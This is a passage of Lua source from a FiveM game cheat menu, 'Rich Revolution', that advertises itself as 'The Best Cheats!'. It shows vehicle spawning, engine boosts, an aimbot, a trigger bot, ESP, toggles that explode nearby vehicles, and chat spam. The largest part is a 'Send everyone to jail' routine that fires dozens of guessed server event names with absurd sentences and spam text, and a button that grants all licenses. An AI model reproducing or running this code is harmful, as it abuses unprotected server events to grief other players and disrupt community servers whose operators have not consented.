  6537. ShowNotification('~h~~r~Cannot spawn this vehicle.')
  6538. break
  6539. end
  6540. end
  6541. SpawnedCar =
  6542. CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
  6543. SetVehicleStrong(SpawnedCar, true)
  6544. SetVehicleEngineOn(SpawnedCar, true, true, false)
  6545. SetVehicleEngineCanDegrade(SpawnedCar, false)
  6546. end
  6547. )
  6548. elseif RichRevolution.Button('Spawn In It') then
  6549. local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
  6550. local veh = b4[carTypeIdx][carToSpawn]
  6551. if veh == nil then
  6552. veh = 'adder'
  6553. end
  6554. vehiclehash = GetHashKey(veh)
  6555. RequestModel(vehiclehash)
  6556. Citizen.CreateThread(
  6557. function()
  6558. local ey = 0
  6559. while not HasModelLoaded(vehiclehash) do
  6560. ey = ey + 100
  6561. Citizen.Wait(100)
  6562. if ey > 5000 then
  6563. ShowNotification('~h~~r~Cannot spawn this vehicle.')
  6564. break
  6565. end
  6566. end
  6567. SpawnedCar =
  6568. CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
  6569. SetVehicleStrong(SpawnedCar, true)
  6570. SetPedIntoVehicle(PlayerPedId(), SpawnedCar, -1)
  6571. SetVehicleEngineOn(SpawnedCar, true, true, false)
  6572. SetVehicleEngineCanDegrade(SpawnedCar, false)
  6573. end
  6574. )
  6575. end
  6576. RichRevolution.Display()
  6577. elseif RichRevolution.IsMenuOpened('MainTrailer') then
  6578. if IsPedInAnyVehicle(GetPlayerPed(-1), true) then
  6579. for i, ex in ipairs(b5) do
  6580. if RichRevolution.MenuButton('~r~→ ~s~' .. ex, 'MainTrailerSpa') then
  6581. TrailerToSpawn = i
  6582. end
  6583. end
  6584. else
  6585. av('~h~~w~Not in a vehicle', true)
  6586. end
  6587. RichRevolution.Display()
  6588. elseif RichRevolution.IsMenuOpened('MainTrailerSpa') then
  6589. if RichRevolution.Button('Spawn Vehicle') then
  6590. local x, y, z = table.unpack(GetOffsetFromEntityInWorldCoords(PlayerPedId(-1), 0.0, 8.0, 0.5))
  6591. local veh = b5[TrailerToSpawn]
  6592. if veh == nil then
  6593. veh = 'adder'
  6594. end
  6595. vehiclehash = GetHashKey(veh)
  6596. RequestModel(vehiclehash)
  6597. Citizen.CreateThread(
  6598. function()
  6599. local ey = 0
  6600. while not HasModelLoaded(vehiclehash) do
  6601. ey = ey + 100
  6602. Citizen.Wait(100)
  6603. if ey > 5000 then
  6604. ShowNotification('~h~~r~Cannot spawn this vehicle.')
  6605. break
  6606. end
  6607. end
  6608. local SpawnedCar =
  6609. CreateVehicle(vehiclehash, x, y, z, GetEntityHeading(PlayerPedId(-1)) + 90, 1, 0)
  6610. local ez = GetVehiclePedIsUsing(GetPlayerPed(-1))
  6611. AttachVehicleToTrailer(Usercar, SpawnedCar, 50.0)
  6612. SetVehicleStrong(SpawnedCar, true)
  6613. SetVehicleEngineOn(SpawnedCar, true, true, false)
  6614. SetVehicleEngineCanDegrade(SpawnedCar, false)
  6615. end
  6616. )
  6617. end
  6618. RichRevolution.Display()
  6619. elseif RichRevolution.IsMenuOpened("VehBoostMenu") then
  6620. if RichRevolution.Button('Engine Power boost ~r~RESET') then
  6621. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1.0)
  6622. elseif RichRevolution.Button('Engine Power boost ~g~x2') then
  6623. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2.0 * 20.0)
  6624. elseif RichRevolution.Button('Engine Power boost ~g~x4') then
  6625. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4.0 * 20.0)
  6626. elseif RichRevolution.Button('Engine Power boost ~g~x8') then
  6627. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 8.0 * 20.0)
  6628. elseif RichRevolution.Button('Engine Power boost ~g~x16') then
  6629. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16.0 * 20.0)
  6630. elseif RichRevolution.Button('Engine Power boost ~g~x32') then
  6631. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 32.0 * 20.0)
  6632. elseif RichRevolution.Button('Engine Power boost ~g~x64') then
  6633. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 64.0 * 20.0)
  6634. elseif RichRevolution.Button('Engine Power boost ~g~x128') then
  6635. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 128.0 * 20.0)
  6636. elseif RichRevolution.Button('Engine Power boost ~g~x512') then
  6637. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 512.0 * 20.0)
  6638. elseif RichRevolution.Button('Engine Power boost ~g~ULTIMATE') then
  6639. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 5012.0 * 20.0)
  6640. end
  6641.  
  6642. RichRevolution.Display()
  6643. elseif RichRevolution.IsMenuOpened("MaliciousMenu") then
  6644. if RichRevolution.CheckBox(
  6645. "Crosshair",
  6646. crosshair,
  6647. function(enabled)
  6648. crosshair = enabled
  6649. end)
  6650. then
  6651. elseif RichRevolution.CheckBox(
  6652. "Crosshair 2",
  6653. crosshair2,
  6654. function(enabled)
  6655. crosshair2 = enabled
  6656. end)
  6657. then
  6658. elseif RichRevolution.CheckBox(
  6659. "Crosshair 3",
  6660. crosshair3,
  6661. function(enabled)
  6662. crosshair3 = enabled
  6663. end)
  6664. then
  6665. elseif RichRevolution.CheckBox(
  6666. "~o~Thermal Vision",
  6667. thermalVision,
  6668. function(enabled)
  6669. thermalVision = enabled
  6670. SetSeethrough(thermalVision)
  6671. end)
  6672. then
  6673. elseif RichRevolution.CheckBox(
  6674. "~p~Night Vision",
  6675. nightVision,
  6676. function(enabled)
  6677. nightVision = enabled
  6678. SetNightvision(nightVision)
  6679. end)
  6680. then
  6681. elseif RichRevolution.CheckBox(
  6682. "Christmas Weather",
  6683. XMAS,
  6684. function(enabled)
  6685. XMAS = enabled
  6686. end)
  6687. then
  6688. elseif RichRevolution.CheckBox(
  6689. "Foggy Weather",
  6690. FOGGY,
  6691. function(enabled)
  6692. FOGGY = enabled
  6693. end)
  6694. then
  6695. elseif RichRevolution.CheckBox(
  6696. "Clear Weather",
  6697. CLEAR,
  6698. function(enabled)
  6699. CLEAR = enabled
  6700. end)
  6701. then
  6702. elseif RichRevolution.CheckBox(
  6703. "Blizzard Weather",
  6704. BLIZZARD,
  6705. function(enabled)
  6706. BLIZZARD = enabled
  6707. end)
  6708. then
  6709. elseif RichRevolution.CheckBox(
  6710. "Extra Sunny Weather",
  6711. EXTRASUNNY,
  6712. function(enabled)
  6713. EXTRASUNNY = enabled
  6714. end)
  6715. then
  6716. elseif RichRevolution.Button("Time set to night") then
  6717. NetworkOverrideClockTime(23, 50, 0)
  6718. elseif RichRevolution.Button("Time set to day") then
  6719. NetworkOverrideClockTime(12, 12, 0)
  6720. elseif RichRevolution.Button("Wall-in Legion Square") then
  6721. x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(SelectedPlayer)))
  6722. roundx = tonumber(string.format('%.2f', x))
  6723. roundy = tonumber(string.format('%.2f', y))
  6724. roundz = tonumber(string.format('%.2f', z))
  6725. local e8 = -145066854
  6726. RequestModel(e8)
  6727. while not HasModelLoaded(e8) do
  6728. Citizen.Wait(0)
  6729. end
  6730. local e9 = CreateObject(e8, 258.91, -933.1, 26.21, true, true, false)
  6731. local ea = CreateObject(e8, 200.91, -874.1, 26.21, true, true, false)
  6732. local e92 = CreateObject(e8, 126.52, -933.2, 26.21, true, true, false)
  6733. local ea2 = CreateObject(e8, 184.52, -991.2, 26.21, true, true, false)
  6734. SetEntityHeading(e9, 158.41)
  6735. SetEntityHeading(ea, 90.51)
  6736. SetEntityHeading(e92, 332.41)
  6737. SetEntityHeading(ea2, 260.51)
  6738. FreezeEntityPosition(e9, true)
  6739. FreezeEntityPosition(ea, true)
  6740. FreezeEntityPosition(e92, true)
  6741. FreezeEntityPosition(ea2, true)
  6742. elseif RichRevolution.CheckBox(
  6743. "AimBot",
  6744. LOJ38,
  6745. function(enabled)
  6746. LOJ38 = enabled
  6747. end)
  6748. then
  6749. elseif RichRevolution.MenuButton('~g~→ ~s~ESP Menu', 'LulxDJ') then
  6750. elseif RichRevolution.CheckBox(
  6751. "~g~EMP ~s~All Nearby Vehicles",
  6752. destroyvehicles,
  6753. function(enabled)
  6754. destroyvehicles = enabled
  6755. end)
  6756. then
  6757. elseif RichRevolution.CheckBox(
  6758. "~r~Explode ~s~All Nearby Vehicles",
  6759. explodevehicles,
  6760. function(enabled)
  6761. explodevehicles = enabled
  6762. end)
  6763. then
  6764. elseif RichRevolution.CheckBox(
  6765. "Trigger Bot",
  6766. TriggerBot,
  6767. function(enabled)
  6768. TriggerBot = enabled
  6769. end)
  6770. then
  6771. elseif
  6772. RichRevolution.CheckBox(
  6773. 'Chat Spam',
  6774. chatspam,
  6775. function(enabled)
  6776. chatspam = enabled
  6777. end
  6778. )
  6779. then
  6780.  
  6781. end
  6782.  
  6783. RichRevolution.Display()
  6784. elseif RichRevolution.IsMenuOpened('LulxDJ') then
  6785. if
  6786. RichRevolution.CheckBox(
  6787. '~h~~r~ESP ~s~MasterSwitch',
  6788. esp,
  6789. function(enabled)
  6790. esp = enabled
  6791. end
  6792. )
  6793. then
  6794. elseif
  6795. RichRevolution.CheckBox(
  6796. '~h~~r~ESP ~s~Box',
  6797. jfjfjffuhguh,
  6798. function(enabled)
  6799. jfjfjffuhguh = enabled
  6800. end
  6801. )
  6802. then
  6803. elseif
  6804. RichRevolution.CheckBox(
  6805. '~h~~r~ESP ~s~Info',
  6806. KDOWJDw,
  6807. function(enabled)
  6808. KDOWJDw = enabled
  6809. end
  6810. )
  6811. then
  6812. elseif
  6813. RichRevolution.CheckBox(
  6814. '~h~~r~ESP ~s~Lines',
  6815. jfjfjf,
  6816. function(enabled)
  6817. jfjfjf = enabled
  6818. end
  6819. )
  6820. then
  6821. end
  6822. RichRevolution.Display()
  6823. elseif RichRevolution.IsMenuOpened("ESXMenu") then
  6824. if RichRevolution.MenuButton("~g~→ ~s~ESX Money Options", "ESXMoneyMenu") then
  6825. elseif RichRevolution.MenuButton("~g~→ ~s~ESX Job Menu", "ESXJobMenu") then
  6826. elseif RichRevolution.MenuButton("~g~→ ~s~ESX Boss", "ESXBossMenu") then
  6827. elseif RichRevolution.MenuButton("~g~→ ~s~ESX Drugs", "ESXDrugMenu") then
  6828. elseif RichRevolution.MenuButton("~g~→ ~s~ESX Misc", "ESXMiscMenu") then
  6829. elseif RichRevolution.MenuButton("~g~→ ~s~ESX Jail", "ESXJailMenu") then
  6830. end
  6831.  
  6832. RichRevolution.Display()
  6833. elseif RichRevolution.IsMenuOpened("ESXMiscMenu") then
  6834. if RichRevolution.Button("ESX Harvest FixKit") then
  6835. TriggerServerEvent("esx_mechanicjob:startHarvest")
  6836. elseif RichRevolution.Button ("ESX Get all licenses ") then
  6837. TriggerServerEvent("dmv:success")
  6838. TriggerServerEvent('esx_weashopjob:addLicense', 'tazer')
  6839. TriggerServerEvent('esx_weashopjob:addLicense', 'ppa')
  6840. TriggerServerEvent('esx_weashopjob:addLicense', 'ppa2')
  6841. TriggerServerEvent('esx_weashopjob:addLicense', 'drive_bike')
  6842. TriggerServerEvent('esx_weashopjob:addLicense', 'drive_truck')
  6843. TriggerServerEvent('esx_dmvschool:addLicense', 'dmv')
  6844. TriggerServerEvent('esx_dmvschool:addLicense', 'drive')
  6845. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_bike')
  6846. TriggerServerEvent('esx_dmvschool:addLicense', 'drive_truck')
  6847. TriggerServerEvent('esx_airlines:addLicense', 'helico')
  6848. TriggerServerEvent('esx_airlines:addLicense', 'avion')
  6849. elseif RichRevolution.Button("ESX Craft FixKit") then
  6850. TriggerServerEvent("esx_mechanicjob:startCraft")
  6851. end
  6852. RichRevolution.Display()
  6853. elseif RichRevolution.IsMenuOpened("ESXJailMenu") then
  6854. if RichRevolution.Button("Send everyone to jail") then
  6855. TriggerServerEvent("route68jail:jailPlayerRoute68", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6856. TriggerServerEvent("wyspa_jail:addKartotekatrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6857. TriggerServerEvent("wyspa_jail:SendMessagetrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6858. TriggerServerEvent("esx_jailer:sendToJailtrop", GetPlayerServerId(i), 45 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6859. TriggerServerEvent("esx-qalle-jail:jailPlayer99", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6860. TriggerServerEvent('ec49347f-474c-4b8e-a30d-9cc2476da5b3', GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6861. TriggerServerEvent("esx-shit:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6862. TriggerServerEvent("esx-jailmisd:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6863. TriggerServerEvent("wrp-fkucunt:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6864. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6865. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 45 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6866. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6867. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6868. TriggerServerEvent("esx-qalle-jail:jailPlayer",GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6869. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6870. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6871. TriggerServerEvent("esx_jailer:sendToJail132", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6872. TriggerServerEvent("esx_jailer:*", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6873. TriggerServerEvent("esx_jailer:eloelo90", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6874. TriggerServerEvent("esx_jailer:wwiezienie", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6875. TriggerServerEvent("searp:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6876. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6877. TriggerServerEvent("wyspa_jail:SendMessage", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6878. TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6879. TriggerServerEvent("esx_jailer:sendToJailhype", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6880. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6881. TriggerServerEvent("esx_jailer:sendToJailtrop", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432, 'SenseiToUjJebanyWDupeCfelPierdolony1337Kurwo')
  6882. TriggerServerEvent("17A34C820A685513C5B4ADDD85968B9E905CC300A261EB55D299ABCB6C90AAA872712B3B6C13DC41913FCC2BE84A07EF9300DC4E89669A4B0E6FBB344A69D239", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6883. TriggerServerEvent("esx_jailer:sendToJail132", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6884. TriggerServerEvent("esx_jailer:fabianfudalijebanyprzyglup", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6885. TriggerServerEvent("esx_jebackoguszkaa_jailer:sendToJail", GetPlayerServerId(i), 5023432432434200, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", -32432432423432432)
  6886. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6887. TriggerServerEvent('esx_jailer:wysylandoo', GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6888. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  6889. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  6890. TriggerServerEvent("esx-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6891. TriggerServerEvent("esx_jailer:jailhype", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6892. TriggerServerEvent("esx_jailer:sendToJial", GetPlayerServerId(i), 59999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9333397)
  6893. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 59999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9333397)
  6894. TriggerServerEvent("esx-jail:jailPlayer", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  6895. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9999999999)
  6896. TriggerServerEvent("hazerp:wyslijdopaki", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6897. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6898. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6899. TriggerServerEvent("esx_jailer:sendToJailjebacdisafrajerze", GetPlayerServerId(i), 300000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 500324532)
  6900. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6901. TriggerServerEvent("esx-qalle-jail:Wiezienie", GetPlayerServerId(i), 999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6902. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6903. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6904. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 300)
  6905. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6906. TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6907. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6908. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6909. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .."Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6910. ESX.ShowNotification("~p~Rich Revolution ~r~ " .. GetPlayerServerId(i) .. "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6911. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6912. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6913. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6914. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6915. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6916. TriggerServerEvent("wysparp_tablet:SendMessage", GetPlayerServerId(i), 9999999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1337)
  6917. TriggerServerEvent("esxjailer:sendToJail2", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6918. TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6919. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6920. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6921. TriggerServerEvent("esx_jail:sendTooJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6922. TriggerServerEvent("esxjailer:sendToJailf", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6923. TriggerServerEvent("esxjailer:sendTooJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6924. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6925. TriggerServerEvent("esx_jailer:sendToWiezz", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  6926. TriggerServerEvent("esx_jaler:sendToWiezz", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  6927. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  6928. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 9937 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 9995345349999999)
  6929. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6930. TriggerServerEvent("wyspa_jail:SendMessage", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6931. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6932. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6933. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6934. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6935. TriggerServerEvent("wyspa_jail:addKartoteka", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6936. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6937. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6938. TriggerServerEvent("esx_jailer:sendToJailf", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6939. TriggerServerEvent("esx-qalle-jail:Wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6940. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6941. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6942. TriggerServerEvent("esx_jailer:jail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6943. TriggerServerEvent('6d87e977-8ba1-4d98-8a88-d0ca16517da7', GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6944. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6945. TriggerServerEvent("projektsantos:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6946. TriggerServerEvent("luki_jailer:sendToJail", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6947. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6948. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 99999 * 60)
  6949. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6950. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 999999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177")
  6951. TriggerServerEvent("wiezieniejailer:sendToJail",3, GetPlayerServerId(i), 99999 * 60, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1,2137)
  6952. TriggerServerEvent("esxjailer:sendToJail2", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 1)
  6953. TriggerServerEvent('esx:wiezienie', GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6954. TriggerServerEvent("esxjailers:sendToJail", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
  6955. TriggerServerEvent("arisonarp:wiezienie", GetPlayerServerId(i), 99999, "Rich Revolution l www.richmenu.pl l The Best Cheats! exerr#1177", 99953)
